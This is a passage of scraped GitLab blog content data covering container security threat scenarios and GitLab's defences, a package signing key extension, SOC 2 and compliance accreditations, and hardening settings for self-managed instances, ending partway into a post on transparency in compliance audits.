Scanning","en-us/blog/whitesource-for-dependency-scanning.yml","en-us/blog/whitesource-for-dependency-scanning",{"_path":4474,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4475,"content":4480,"config":4486,"_id":4488,"_type":16,"title":4489,"_source":17,"_file":4490,"_stem":4491,"_extension":20},"/en-us/blog/container-security-in-gitlab",{"title":4476,"description":4477,"ogTitle":4476,"ogDescription":4477,"noIndex":6,"ogImage":3014,"ogUrl":4478,"ogSiteName":767,"ogType":768,"canonicalUrls":4478,"schema":4479},"Get better container security with GitLab: 4 real-world examples","Containers are increasingly popular – and increasingly vulnerable. Using four threat scenarios, we step through how GitLab's built-in security features will make containers safer.","https://about.gitlab.com/blog/container-security-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get better container security with GitLab: 4 real-world examples\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Thiago Figueiró\"}],\n        \"datePublished\": \"2020-07-28\",\n      }",{"title":4476,"description":4477,"authors":4481,"heroImage":3014,"date":4483,"body":4484,"category":14,"tags":4485},[4482],"Thiago Figueiró","2020-07-28","\nThe number of web applications hosted in containers grows every day, but data from our 2020 Global DevSecOps Survey showed a majority of companies don't have a [container security](/topics/devsecops/beginners-guide-to-container-security/) strategy in place. This post shows examples of how GitLab can help increase the security of such applications and their hosting environment. We focus on web applications, but most of the security features described in this post apply to any containerized apps.\n\nDetailed descriptions and examples of the tactics and techniques mentioned in this post can be found in the [MITRE ATT&CK Matrix](https://attack.mitre.org/).\n\n## Threat Models\n\nTo help with our scenarios, we're taking two tactics from the MITRE ATT&CK matrix: [Initial Access](https://attack.mitre.org/tactics/TA0001/) and [Execution](https://attack.mitre.org/tactics/TA0002/). There are similar categories in other frameworks, such as the [cyber kill chain](https://en.wikipedia.org/wiki/Kill_chain#The_cyber_kill_chain).\n\n### Initial Access\n\nIn this phase, an attacker is attempting to establish access to your computing resources through different techniques. A single one might be sufficient for the attack to succeed but, quite often, a successful compromise relies on a few different methods.\n\nThe diagram below shows three examples of how an attacker can gain access to a container hosting an application accessible from the Internet.\n\n```mermaid\ngraph LR\n  classDef default fill:#FFFFFF,stroke:#0C7CBA;\n  classDef baddie fill:#ffd6cc,stroke:#991f00;\n\n  subgraph Kubernetes Cluster\n    subgraph Container\n      subgraph Application\n        Accounts[Valid\u003Cbr>Accounts]\n        click Accounts \"https://attack.mitre.org/techniques/T1078\"\n        style Accounts fill:#FFFFFF,stroke:#0C7CBA;\n\n        Dependencies[External\u003Cbr>Dependencies]\n        click Dependencies \"https://attack.mitre.org/techniques/T1195\"\n        style Dependencies fill:#FFFFFF,stroke:#0C7CBA;\n\n        Service[Network\u003Cbr>Service]\n        click Service \"https://attack.mitre.org/techniques/T1190\"\n        style Service fill:#FFFFFF,stroke:#0C7CBA;\n      end\n    style Application fill:#fff,stroke:#cccccc;\n  end\n  style Container fill:#f0f0f5,stroke:#cccccc;\n  end\n\n  Attacker -- Supply chain attack --> Dependencies\n  Attacker -- Exploit --> Service\n  Attacker -- Exposed Credentials --> Accounts\n\n  class Attacker baddie\n\n```\n\nThere are different ways threat vectors can be exploited but, to demonstrate GitLab's features, let's pick some specific examples of how it can happen. None of these are made-up by the way; they have all happened - and continue to happen - in the wild.\n\n1. **Exposed Credentials**. Someone with legitimate access to your systems saved valid account credentials in an application's code repository.\n1. **Supply Chain Attack**. There's no apparent vulnerability in the application itself but the attacker managed to introduce one in an external dependency utilized by the application, so now it, too, is vulnerable.\n1. **Exploit**. The application is vulnerable to command execution because it doesn't validate user input properly.\n\n### Execution\n\nAt this point, the attacker has:\n\n1. Acquired credentials that allow access to most areas of the web application.\n1. Discovered that the application is vulnerable to remote code execution.\n1. Introduced a different vulnerability to the application via an external dependency.\n\nThe next objective is to use one or more of these assets to execute instructions of their choice on the target systems. The diagram below shows different ways this can be accomplished.\n\n```mermaid\ngraph LR\n  classDef default fill:#FFFFFF,stroke:#0C7CBA;\n  classDef cl-container fill:#f0f0f5,stroke:#cccccc;\n  classDef baddie fill:#ffd6cc,stroke:#991f00;\n\n  subgraph Infrastructure\n    subgraph Container\n      Application\n      Others\n      Exploit[Executable Exploit]\n      Shell[Reverse Shell]\n\n      Application -- Deliver, Execute --> Exploit\n      Application -- Execute --> Shell\n      Others[Other\u003Cbr>Techniques] -- Deliver, Execute --> Exploit\n      Exploit -- Modify --> Filesystem\n      Exploit -- Spawn --> Shell\n    end\n\n    subgraph Containers\n      Internal(Internal Service)\n    end\n    Exploit -- Lateral Movement --> Internal\n    class Container,Containers cl-container\n  end\n\n  Shell -- Internet --> Attacker\n\n  class Attacker,Exploit,Others,Shell baddie\n\n```\n\nAgain we're choosing scenarios that fit our examples.\n\n1. **Deliver**, **Execute**. The attacker has an exploit that they would like to deliver and execute.\n   1. The vulnerable application is tricked into writing arbitrary content to the container file system.\n   1. The vulnerable application is tricked into executing arbitrary commands.\n   1. The external dependency provides another, unspecified way to deliver and execute malicious code.\n1. **Spawn**. Execution of malicious code spawns a [reverse shell](https://en.wikipedia.org/wiki/Shell_shoveling) that connects to the attacker and waits for commands.\n1. **Modify**. The malicious code modifies configurations on the container's file system that further exposes the container to attack, or perhaps, escalates the attacker's privileges.\n1. **Lateral Movement**. The attacker's exploit probes other hosts in the container's network, managing to find and access an internal service that wasn't exposed to the Internet in the first place.\n\n## How GitLab Helps Stop These Attacks\n\nAs part of the [Secure](https://about.gitlab.com/direction/secure/) and [Protect](https://about.gitlab.com/direction/govern/) Stages, GitLab delivered and continues to improve features that minimize your security risk and help you [shift security left](/blog/efficient-devsecops-nine-tips-shift-left/).\n\nLet's see how these GitLab features would prevent and detect the attacks described in our example scenarios.\n\n### Initial Access\n\nBy [shifting left](/blog/toolchain-security-with-gitlab/), all techniques in this phase could be detected even before the application was deployed to an Internet-accessible environment.\n\nThis is done by taking advantage of [GitLab Secure](https://docs.gitlab.com/ee/user/application_security/) features as part of an application's [Continuous Integration (CI)](https://docs.gitlab.com/ee/ci/) builds.\n\n#### Exposed Credentials\n\nA [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) scan reports several types of secrets accidentally or intentionally committed to your code repository, allowing the merge request author to remove and invalidate the exposed secret before it can be used in an attack.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/W2tjcQreDwQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n#### Supply Chain Attack\n\nOne type of supply chain attack is against the open-source code libraries used by your application. [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) reports known vulnerabilities in dependencies used by your application. Scanners for multiple languages are available and kept up-to-date with a database of known vulnerabilities so that potential vulnerabilities are identified and reported as part of your CI builds.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uGhS2Wh6PBE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n#### Exploit\n\nFor the examples given in this category, there are two ways GitLab mitigates and prevents the described attacks. The first is [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/), another scanner that can be run as a CI job. The second way is through the GitLab Web Application Firewall (WAF), part of our [Protect Stage](/handbook/engineering/development/sec/govern/).\n\nBecause DAST executes against a running deployment of your application, it detects potential problems that can't be discovered by merely analyzing an application's source code. In our example, the attacker relies on an input validation weakness in the application that might be identified and reported as a [server side code injection](https://www.zaproxy.org/docs/alerts/90019/) by DAST.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/wxcEiuUasyM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nEffective security is implemented in layers and, should DAST fail to identify a vulnerability, we can sometimes rely on WAF to block malicious requests to the application.\n\nA WAF can monitor and block web traffic based on a set of pre-configured rules that determine if a request is potentially malicious or a response indicates compromised security. GitLab's WAF comes with the [OWASP ModSecurity Core Rule Set](https://owasp.org/www-project-modsecurity-core-rule-set/) installed by default, which will successfully prevent various forms of [shell injection](https://github.com/coreruleset/coreruleset/blob/7776fe23f127fd2315bad0e400bdceb2cabb97dc/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf#L415) and [SQL injection](https://github.com/coreruleset/coreruleset/blob/v3.4/dev/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf) attacks.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/03n4C60YnDQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n### Execution\n\nIn case the previous counter-measures have failed to prevent initial access to our system, we have another layer of defense against attacks. Even after a vulnerable application is deployed to a publicly accessible environment, we can still detect and prevent cyberattacks.\n\n#### Detection\n\nIn our examples, the attacker modified the container filesystem and created new processes by executing malicious code. These actions can be detected and logged, as shown in the demonstration video below. Additionally, the logs can be sent to a SIEM with Gitlab's [SIEM integration](https://docs.gitlab.com/ee/update/removals.html), enabling a security operations team to be notified of the suspicious activity within seconds of it happening.\n\nAs part of our [Container Host Security](https://about.gitlab.com/direction/govern/) features, you can [enable logging of system calls](https://docs.gitlab.com/ee/update/removals.html) on any containers in your [Kubernetes cluster](https://docs.gitlab.com/ee/user/project/clusters/).\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/WxBzBz76FxU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n#### Prevention\n\nGitLab is able to prevent all attack examples described earlier: Lateral Movement, Reverse Shell, filesystem modification, and malicious code execution attacks.\n\nBy deploying a [Network Policy](https://docs.gitlab.com/ee/topics/autodevops/stages.html#network-policy) to your Kubernetes cluster, the compromised container would not be allowed to create an outbound connection to the attacker through the Internet. Similarly, the Executable Exploit would be prevented from probing other pods in a cluster network due to policy restrictions.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pgUEdhdhoUI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nTo prevent filesystem modification and restrict code execution, [Pod Security Policies](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) [are supported](https://docs.gitlab.com/ee/update/removals.html) as part of our Container Host Security features.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/fPy53c3rbAs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Conclusion\n\nThe number of container-based applications will continue to grow along with the necessity to secure them, and our new [Container Host Security](/direction/govern/) category is part of the GitLab strategy to enable organizations to proactively protect their cloud-native environments.\n\nIn this blog post, we highlighted only a few of the DevSecOps features currently available in GitLab. For additional existing and upcoming functionality, please visit the product direction pages for [Protect](/direction/govern/) and [Secure](/direction/secure/).\n\nCover image by [JJ Ying](https://unsplash.com/@jjying) on [Unsplash](https://unsplash.com).\n{: .note}\n",[2287,14,3965],{"slug":4487,"featured":6,"template":677},"container-security-in-gitlab","content:en-us:blog:container-security-in-gitlab.yml","Container Security In Gitlab","en-us/blog/container-security-in-gitlab.yml","en-us/blog/container-security-in-gitlab",{"_path":4493,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4494,"content":4500,"config":4507,"_id":4509,"_type":16,"title":4510,"_source":17,"_file":4511,"_stem":4512,"_extension":20},"/en-us/blog/package-key-extension",{"title":4495,"description":4496,"ogTitle":4495,"ogDescription":4496,"noIndex":6,"ogImage":4497,"ogUrl":4498,"ogSiteName":767,"ogType":768,"canonicalUrls":4498,"schema":4499},"GitLab extends package signing key expiration to 2022","Our GPG key will now expire on July 1, 2021. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666262/Blog/Hero%20Images/default-blog-image.png","https://about.gitlab.com/blog/package-key-extension","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab will extend package signing key expiration by one year\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gerard Hickey\"}],\n        \"datePublished\": \"2020-06-25\",\n      }",{"title":4501,"description":4496,"authors":4502,"heroImage":4497,"date":4504,"body":4505,"category":14,"tags":4506},"GitLab will extend package signing key expiration by one year",[4503],"Gerard Hickey","2020-06-25","\n\nGitLab has a GPG key used to sign all Omnibus packages created within the [CI\npipelines](/blog/guide-to-ci-cd-pipelines/). This key is set to expire on 2020-07-01 and will be extended to\nexpire on 2021-07-01.\n\n## Why is this being done?\n\nThe package signing key is set to a yearly expiration time to limit the exposure\nshould the key be compromised and to comply with GitLab security practices.\nGenerating a new key each year is much more obtrusive than continually extending\nthe expiration time.\n\n## What do I need to do?\n\nThe only action that needs to be taken is to update your copy of the package\nsigning key _if_ you validate the signatures on the Omnibus packages that GitLab\ndistributes.\n\nThe package signing key is not the key that signs the repository metadata\nused by the OS package managers like `apt` or `yum`. Unless you are specifically\nverifying the package signatures or have configured your package manager to verify\nthe package signatures, there is no action needed on your part to continue\ninstalling Omnibus packages.\n\nMore information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures)\ncan be found in the Omnibus documentation. If you just need to refresh a copy\nof the public key, then you can find it on any of the GPG keyservers by\nsearching for support@gitlab.com or using the key ID of\n`DBEF 8977 4DDB 9EB3 7D9F  C3A0 3CFC F9BA F27E AB47`. Alternatively you could\ndownload it directly from packages.gitlab.com using the URL:\n\n    https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-3D645A26AB9FBD22.pub.gpg\n\n## I still have problems, what do I do?\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).\n",[14,1292,818],{"slug":4508,"featured":6,"template":677},"package-key-extension","content:en-us:blog:package-key-extension.yml","Package Key Extension","en-us/blog/package-key-extension.yml","en-us/blog/package-key-extension",{"_path":4514,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4515,"content":4521,"config":4528,"_id":4530,"_type":16,"title":4531,"_source":17,"_file":4532,"_stem":4533,"_extension":20},"/en-us/blog/soc2-compliance",{"title":4516,"description":4517,"ogTitle":4516,"ogDescription":4517,"noIndex":6,"ogImage":4518,"ogUrl":4519,"ogSiteName":767,"ogType":768,"canonicalUrls":4519,"schema":4520},"How secure is GitLab?","Learn about GitLab's commitment to security and compliance, our security program maturity and accreditations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669646/Blog/Hero%20Images/blog-soc2-compliance.jpg","https://about.gitlab.com/blog/soc2-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How secure is GitLab?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Saumya Upadhyaya\"},{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2020-06-24\",\n      }",{"title":4516,"description":4517,"authors":4522,"heroImage":4518,"date":4525,"body":4526,"category":14,"tags":4527},[4523,4524],"Saumya Upadhyaya","Dov Hershkovitch","2020-06-24","\n\nWhen trying out a new vendor, you want to ensure the company meets your organization’s security policies. Often, we receive questionnaires from our customers to validate our security posture and to understand the maturity of GitLab’s security program.\n\nAs a rapidly growing company, we are in a fortunate position to have a lot of new customers sign up for our solution. We want our customers to have confidence in our offering from a security perspective, and we want to be able to provide that assurance in the most transparent and accessible way possible.\n\nTo demonstrate our commitment to security and compliance and to provide customers with an insight into our security maturity, we have pursued (and continue to pursue) a number of programs and accreditations. We’re excited to share that information with you.\n\n## SOC 2 Report\n\n[SOC 2](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/serviceorganization-smanagement.html) is a security control report developed by the [American Institute of Certified Public Accountants](https://www.aicpa.org/) (AICPA) designed to give a holistic view of the design and effectiveness of a company's security program. A SOC 2 audit report provides an independent opinion about an organization's security and is becoming an industry standard for evaluating vendor security program maturity.\n\nThere are two types of SOC 2 reports:\n\n* **SOC 2 - Type 1** - which evaluates the design of controls\n* **SOC 2 - Type 2** - which evaluates the design and operating effectiveness of controls\n\n#### The SOC2 Report\n\nAs of 2021, GitLab has received a SOC 2 Type 2 attestation. Prior to receiving this attestation, we underwent a SOC 2 Type 1 audit in preparation for our Type 2. We detailed our experience undergoing the SOC 2 Type 1 audit, in this blog post, [The benefits of transparency in a compliance audit](/blog/benefits-of-transparency-in-compliance/).\n\n#### How can current (or prospective) customers get a copy of GitLab's most recent SOC 2 report?\n\nSince this report contains candid information about how our systems operate and proprietary audit specific information, we require certain confidentiality agreements be in place. This is built into our Terms of Service for current customers; for prospective customers we request you to complete an NDA with the help of your sales account leader.\n\nTo request the report and more details on our SOC 2 program please visit our [Security Certifications and Attestations handbook page](/handbook/security/security-assurance/security-compliance/certifications.html#requesting-a-copy-of-the-gitlab-soc2-type-2-report).\n\n## CSA Consensus Assessments Initiative Questionnaire (CAIQ)\n\nThe Cloud Security Alliance Consensus Assessments Initiative Questionnaire (CAIQ) from [CSA STAR](https://cloudsecurityalliance.org/) offers an industry-accepted way to document security controls in SaaS services - thereby helping customers to gauge the security posture of cloud service providers. The CAIQ Questionnaire captures most of the frequently asked security questions such as:\n\n* Do you use industry standards (i.e. OWASP Software Assurance Maturity Model, ISO 27034) to build in security for your Systems/Software Development Lifecycle (SDLC)?\n* Do you verify that all of your software suppliers adhere to industry standards for SDLC security?\n* Do you enforce data access permissions based on the rules of Authentication, Authorization and Accountability (AAA)?\n\n### Where can you get the GitLab CAIQ?\n\nUnlike the SOC 2 Type 1 Report, this questionnaire does not require a non disclosure agreement and is available for download by all users at [GitLab’s CAIQ page at the CSA website](https://cloudsecurityalliance.org/star/registry/gitlab/).\n\n## GitLab Control Framework (GCF)\n\nThe [GitLab Control Framework](/handbook/security/security-assurance/security-compliance/sec-controls.html) is a set of controls that establish security requirements for the organization and GitLab's operating environment. These controls provide assurance to customers that GitLab has a robust security program and that their data within GitLab is appropriately protected.\n\nThe GitLab Control Framework has prioritized security controls needed for PCI, Sarbanes–Oxley (SOX), and SOC 2 Security Criteria spanning across the following topics:\n\n* Asset management\n* Backup management\n* Business continuity\n* Change management\n* Configuration management\n* Data management\n* Identity and access management\n* Incident response\n* Network operations\n* People resources\n* Risk management\n* Security governance\n* Service lifecycle\n* Systems design documentation\n* Systems monitoring\n* Third party management\n* Training and awareness\n* Vulnerability management\n\nYou can read on about how we [chose our framework](/blog/choosing-a-compliance-framework/) and [how we implemented and adapted the Adobe Compliance Framework](/blog/creating-the-gitlab-controls-framework/).\n\n## PCI Compliance\n\nPayment Card Industry's Data Security Standard (PCI-DSS), defined by the [PCI Security Standards Council](https://www.pcisecuritystandards.org/), identifies the requirements for vendors that accept or facilitate credit card payments. Based on the volume of transactions by the vendor, the vendor is classified under one of [four levels](https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard#Compliance_levels).\n\nGitLab is currently a Level 4 merchant for PCI which requires us to:\n\n* Complete an annual self-attestation questionnaire (SAQ)\n* Perform a quarterly scan of our PCI systems by an approved scanning vendor. GitLab uses [Tenable.io](https://www.tenable.com/products/tenable-io)\n\nGitLab's Attestation of Compliance (AoC) is available on request, via security@gitlab.com. Learn more about [GitLab PCI compliance](/handbook/security/security-assurance/security-compliance/certifications.html#current).\n\n## What’s next?\n\nSecurity and compliance are ongoing processes and GitLab is committed to continual iteration, maturation, and improvement of our information security program.\n\nOur immediate priorities include:\n\n* Continuous iteration and improvement of our security controls with updated mappings between the GitLab Controls Framework and industry standards like SOC 2, ISO 27001, PCI, FedRAMP, and others\n* The **SOC 2 Type 2 report**, which evaluates operational efficiency in addition to design controls, will commence in 2021\n* The **Standardized Information Gathering (SIG) questionnaire**, a standardized 3rd party risk assessment tool, which along with our CAIQ will provide readily accessible background and transparency into our security program.\n\nHave a question about any of our existing or ongoing compliance efforts? Or maybe feedback about implementing compliance programs in an iterative, highly-transparent environment? We’d love to hear from you. Leave us a comment!\n\n*Read more about our security compliance:*\n\n[Transparency can actually help a security audit. Here's how](/blog/benefits-of-transparency-in-compliance/)\n\n[Can technology outpace security compliance?](/blog/when-technology-outpaces-security-compliance/)\n\n[Choosing between an independent or aggregate compliance framework](/blog/choosing-a-compliance-framework/)\n\nCover image by [Josh Calabrese](https://unsplash.com/photos/qmnpqDwla_E) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[2849,715,14],{"slug":4529,"featured":6,"template":677},"soc2-compliance","content:en-us:blog:soc2-compliance.yml","Soc2 Compliance","en-us/blog/soc2-compliance.yml","en-us/blog/soc2-compliance",{"_path":4535,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4536,"content":4542,"config":4547,"_id":4549,"_type":16,"title":4550,"_source":17,"_file":4551,"_stem":4552,"_extension":20},"/en-us/blog/gitlab-instance-security-best-practices",{"title":4537,"description":4538,"ogTitle":4537,"ogDescription":4538,"noIndex":6,"ogImage":4539,"ogUrl":4540,"ogSiteName":767,"ogType":768,"canonicalUrls":4540,"schema":4541},"GitLab instance: security best practices","Default settings on products can be massively helpful. However, when it comes to hardening your GitLab instance, we’ve got some helpful configuration recommendations from our security team.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667057/Blog/Hero%20Images/configs_unsplash.jpg","https://about.gitlab.com/blog/gitlab-instance-security-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab instance: security best practices\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2020-05-20\",\n      }",{"title":4537,"description":4538,"authors":4543,"heroImage":4539,"date":4544,"body":4545,"category":14,"tags":4546},[1909],"2020-05-20","GitLab is a feature-rich and powerful collaboration tool that is easy to use, and our self-managed installation is intended to be ready-to-go right out of the box. Exposing *any* service to the internet can create its own challenges from a security perspective, and as a result an administrator might have a bit of head-scratching over how to set things up safely.\n\nFortunately, we have a large number of security features and options that can be used to help lock things down. In this blog post, we’ve highlighted a few important features that will certainly help an administrator harden that new GitLab instance - particularly one facing the internet.\n\n## Access basics\n\nDuring the initial GitLab installation, you will be asked to set up a root password. Obviously, we highly recommend a long password, unique to your GitLab instance that is not easily guessable with a mixture of uppercase and lowercase along with numbers and special characters. For a working example, see how we advise GitLab team members to create, store and manage [passwords](/handbook/security/#accounts-and-passwords).\n\nTo help simplify your installation, consider using environment variables. The root password can also be set this way. For example:\n\n`GITLAB_ROOT_PASSWORD=hunter2 GITLAB_HOST=https://hunter2.instance apt install gitlab-ee`\n\nThis has the added advantage of kicking off the entire [letsencrypt](https://letsencrypt.org/) process to ensure up-to-date certificates are used for your instance.\n\nYou will also want to ensure that users of your instance are also using strong, unique passwords, and you will want to ensure that the methods they use to access your instance are solid. Again, refer to our documentation on passwords for some ideas to share.\n\nThere are some choices you can make to limit access to data and restrict access to authorized users. In **Admin Area > Settings > General** you will want to expand the \"visibility and access controls\" section and make a few changes.\n\nTo help secure SSH access, RSA SSH keys should be allowed, as well as ED25519. Without going *too* deep, the open source crowd seems to prefer ED25519 as everything about it is open source (well-documented, trustworthy elliptical curve parameters), whereas other algorithms do not specify or go into details as to why they chose certain values. DSA also has a theoretical attack that could be used against it, although RSA could in theory fall to the same attack but is more resistant. Ah, but I digress! The main reason to support both RSA and ED25519 is that older systems that will connect may not be set up for ED25519, but will still support RSA, so at least both are recommended. With respect to RSA, encourage your users to use 2048 bits or higher when configuring keys.\n\nWe highly recommend using passwordless SSH authentication over password authentication. The communications are more secure (passwordless SSH authentication uses public/private key cryptography), it allows for an easier workflow, and it is one less password to worry about.\n\nFor more on SSH keys, see our documentation on [ssh keys restrictions](https://docs.gitlab.com/ee/security/ssh_keys_restrictions.html), as well as the additional [visibility and access control](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html) settings that can be configured.\n\n## Restricting how and who\n\nThere are a few settings we recommend tweaking to help define how users access our instance and who we even allow to have access. You’ll want to check out three areas in particular under the **Admin Area > Settings > General** settings.\n\n**Sign up restrictions:**\n* Ensure open sign-up is disabled on your instance. Open registration is disabled by default on self-managed instances with GitLab 13.6 and above installed. If new sign-up is enabled and your instance is open to the internet, anyone can sign up and access data. Administrators who would like to further restrict access on their instance can [follow our documentation on how to configure user access](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html#disable-new-sign-ups).\n* Make sure that Send confirmation email on sign-up\" is checked. This adds a level of assurance that the user is in fact a real user.\n* If you want to restrict access to a sub-group such as the users in your organization, consider configuring a whitelist for your organization’s domain, (e.g., \"example.com\") which will allow them to sign up.\n* Minimum password length: 12. For users that are allowed access, make sure they will be using longer passwords. See our [password length limits documentation](https://docs.gitlab.com/ee/security/password_length_limits.html) for details.\n* For more detailed information, see our [documentation around sign up restrictions](https://docs.gitlab.com/ee/administration/settings/sign_up_restrictions.html)\n\n**Sign in restrictions:**\n* Make sure that Require 2FA is enabled. Multifactor authentication is the more secure method of protecting authentication to a user's account, and is strongly encouraged.\n* Disable \"password authentication enabled for Git over HTTP(S)\" if for some reason you can’t require MFA. This will require users to use a personal access token, further securing the user accounts.\n* For more detailed information, check our [documentation around sign in restrictions](https://docs.gitlab.com/ee/administration/settings/sign_in_restrictions.html).\n\n**Visibility and privacy:**\nEnsure project visibility is set to [\"Private\"](https://docs.gitlab.com/ee/user/public_access.html) on [existing projects](https://docs.gitlab.com/ee/user/public_access.html) and [by default for *new* projects](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html#default-project-visibility). Private projects can only be cloned, downloaded, or viewed by project members, newly registered users will not be able to access these projects.\n\n## Improving performance and network tweaks\n\nThere are a few settings that will allow you to help protect your system from various network usage spikes, making your system a lot more stable and accessible for users.\n\n#### User and IP rate limits\nGoing to **Admin Area > Network > User and IP rate limits** allows you to make a few adjustments. Specifically you will want all three items checked:\n\n* \"Enable unauthenticated request rate limit\"\n* \"Enable authenticated API request rate limit\"\n* \"Enable authenticated web request rate limit\"\n\nThe default values associated with those items should be fine under most conditions. For more information, see our [documentation around user and IP rate limits](https://docs.gitlab.com/ee/administration/settings/user_and_ip_rate_limits.html).\n\n#### Webhooks\nWebhooks are a useful feature with a lot of power. Unless there is a legitimate need to allow webhooks to communicate with internal services, they should be restricted to services that are publicly reachable, which you can verify in **Admin Area > Network > Outbound Requests**. While the \"allow requests to the local network from web hooks and services\" is disabled by default, you should also uncheck \"allow requests to the local network from system hooks\" as well. For more detail, including some of the dangers inherent in webhooks, see our [webhooks documentation](https://docs.gitlab.com/ee/security/webhooks.html).\n\n#### Protected paths\nIn **Admin Area > Network > Protected Paths** ensure that \"Enable protected paths rate limit\" has been checked. Default values should be more than sufficient. For details, check out our [protected paths documentation](https://docs.gitlab.com/ee/administration/settings/protected_paths.html).\n\n## Customize your configuration, harden your instance\n\nWe understand with security there is always a balance between protection and agility. In the cases of customers with internet-facing GitLab instances, there are often choices driven by a combination of different business drivers and needs. However, with the help of a few configuration tweaks you can harden your instance and better protect your organization, while still remaining open to the internet.\n\nAdditional settings, including those with security implications, can be found in the [Admin Area](https://docs.gitlab.com/ee/administration/settings/). You'll want to explore those to really fine-tune your setup and make it your own. For some of you, these will have their own security implications that may be unique to your organization. Have fun exploring and securing your instance!\n\nCover image by [Alexey Ruban](https://unsplash.com/@intelligenciya) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[14,1212,696],{"slug":4548,"featured":6,"template":677},"gitlab-instance-security-best-practices","content:en-us:blog:gitlab-instance-security-best-practices.yml","Gitlab Instance Security Best Practices","en-us/blog/gitlab-instance-security-best-practices.yml","en-us/blog/gitlab-instance-security-best-practices",{"_path":4554,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4555,"content":4561,"config":4567,"_id":4569,"_type":16,"title":4570,"_source":17,"_file":4571,"_stem":4572,"_extension":20},"/en-us/blog/benefits-of-transparency-in-compliance",{"title":4556,"description":4557,"ogTitle":4556,"ogDescription":4557,"noIndex":6,"ogImage":4558,"ogUrl":4559,"ogSiteName":767,"ogType":768,"canonicalUrls":4559,"schema":4560},"The benefits of transparency in a compliance audit","We’re transparent by default, and just completed our first SOC 2 Type 1 audit! How does our public-first stance affect our compliance efforts and impact an audit?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681258/Blog/Hero%20Images/mvdheuvel-unsplash.jpg","https://about.gitlab.com/blog/benefits-of-transparency-in-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The benefits of transparency in a compliance audit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Truong\"}],\n        \"datePublished\": \"2020-04-28\",\n      }",{"title":4556,"description":4557,"authors":4562,"heroImage":4558,"date":4564,"body":4565,"category":14,"tags":4566},[4563],"Steve Truong","2020-04-28","\n\n_Be open about as many things as possible. By making information public we can reduce the barriers to contribution and make collaboration easier. Use public issue trackers, projects, and repositories when possible._ – The GitLab [Handbook](/handbook/)\n\n[Transparency](https://handbook.gitlab.com/handbook/values/#transparency) is one of our core values and a fundamental part of what makes GitLab unique. But openness and [System and Organization Controls 2 (SOC 2)](https://en.wikipedia.org/wiki/System_and_Organization_Controls) audits often don't go hand in hand.\n\n## A quick history of the traditional audit\n\nAt traditional organizations, seeing a high level of transparency with documented procedures and processes publicly available, is not typical. And when the time comes for these organizations to undergo an audit, the process is time-consuming and can be burdensome for many employees who have to balance audit requests on top of their day-to-day work responsibilities.\n\nFor these same employees, a lot of time is spent digging through process documentation, policy documents, and even workflow documents, which is only the starting point for an audit. Eventually, this trickles down to the auditors having to meet with these employees to understand how the processes, policies, and workflows are executed, which means more time is sacrificed bringing an auditor 